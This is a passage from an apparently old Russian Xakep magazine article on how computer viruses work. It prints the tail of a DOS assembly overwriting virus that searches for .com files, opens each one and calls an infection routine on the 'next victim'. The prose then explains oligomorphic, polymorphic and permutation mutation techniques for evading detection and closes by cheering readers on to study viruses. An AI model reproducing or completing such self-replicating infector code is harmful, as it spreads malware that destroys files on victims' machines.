Как работают роботы-убийцы

Xakep, номер #042, стр. 042-046-4


jnc healthy

;------------------------------------------------------------------------------

continue_search:

mov ah,4fh ; Ищем следующий файл

int 21h ;

jc exit_virus ; Если больше нет файлов, то идем на выход

;------------------------------------------------------------------------------

healthy:

mov ax,3d02h ; Откроем файл

mov dx,09eh

int 21h

mov handle,ax ; Сохраним хэндл файла в переменную

call infect_file ; Заразим файл

call close_file ; Закроем его

jmp short continue_search ; Перейдем к следующей жертве

ret

;------------------------------------------------------------------------------

close_file:

mov bx,handle ; Восстановим хэндл файла

mov ah,3eh ; Затем закроем файл

int 21h

;------------------------------------------------------------------------------

exit_virus:

ret ; Конец программы

;------------------------------------------------------------------------------

fmask db '*.com',0 ; Переменные

handle dw ? ;

;------------------------------------------------------------------------------

code ends

end main

;------------------------------------------------------------------------------------------

Этот вирус является наиболее очевидным применением технологии олигоморфизма на простейшем вирусе типа owerwriter.

Чем же полиморфная технология отличается от олигоморфной? А тем, что расшифровщик в полиморфной технологии постоянно мутирует. Простейший пример полиморфной технологии это разбавление расшифровщика командами nop или другими мусорными командами типа xchg ax,ax; mov bx,bx...

Второй вид мутационных технологий - это перемутация. Все достаточно просто: при использовании этой технологии вирус вообще не шифруется, он при каждом заражении копирует в произвольно порядке свои части в жертву и при этом мутирует, собираясь каждый раз как бы из кубиков конструктора, и чем больше таких «кубиков», тем больше мутаций. Круто, да? А ты говоришь «вирусы, вирусы». Это не просто программки - это целые роботы!

Outro

Надеюсь, эта статья тебя торкнула. По крайней мере, ты понял, как работают вирусы и, возможно, даже заинтересовался их механизмами. Думай, учись, изучай. А мы подготовим еще пару материалов о вирусах и их начинках.

Назад на стр. 042-046-3  Содержание